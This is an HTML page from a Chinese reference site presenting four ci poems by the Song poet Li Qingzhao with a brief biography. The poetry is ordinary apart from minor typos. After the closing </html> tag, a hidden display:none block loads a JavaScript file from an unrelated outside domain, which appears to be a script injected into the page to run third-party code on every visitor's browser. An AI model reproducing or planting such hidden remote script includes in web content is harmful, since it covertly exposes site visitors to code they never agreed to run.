<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-李清照</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>李清照</strong></span></div>

	<div class="Cont_tit sc">
		<h1>李清照</h1>
		<span>(1084-1155) 号易安居士，南宋杰出女文学家。山东济南人，生于北宋元封七年，山东章丘，逝于临安，享年七十二岁。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>醉花阴</strong></div><div class="sc_det_cont">薄雾浓云愁永昼，瑞脑销金兽。佳节又重阳，玉枕纱厨，半夜凉初透。<br/>东篱把酒黄昏后，有暗香盈袖。莫道不销魂，帘卷西风，人比黄花瘦。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>凤凰台上忆吹箫</strong></div><div class="sc_det_cont">香冷金猊，被翻红浪，起来慵自梳头。任宝奁尘满，日上帘钩。生怕离怀别苦，多少事、欲说还休。新来瘦，非干病酒，不是悲秋。<br/>休休，这回去也，千万遍阳关，也则难留。念武陵人远，烟锁秦楼。惟有楼前流水，应念我、终日凝眸。凝眸处，从今又添，一段新愁。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>声声慢</strong></div><div class="sc_det_cont">寻寻觅觅，冷冷清清，凄凄惨惨戚戚。乍暖还寒时侯，最难将息。三杯两盏淡酒，怎敌他、晚来风急。雁过也，最伤心，却是旧时相识。<br/>满地黄花堆积，惟悴损、如今有谁堪摘。守着窗儿，独自怎生得黑？梧桐更兼细雨，到黄昏、点点滴滴。这次第，怎一个愁字了得。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>念奴娇</strong></div><div class="sc_det_cont">萧条庭院，有斜风细雨，重门须闭。宠柳娇花寒食近，种种恼人天气。险韵诗成，扶头酒醒，别是闲滋味。征鸿过尽，万千心事难寄。<br/>楼上几日春寒,帘垂四面,玉阑干慵倚。被冷香消新梦觉，不许愁人不起。清露晨流，新桐初引，多少游春意。日高烟敛，更看今日晴未。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>李清照</span>&nbsp; &nbsp; 宋词翻页： [<a href="38_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/2</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>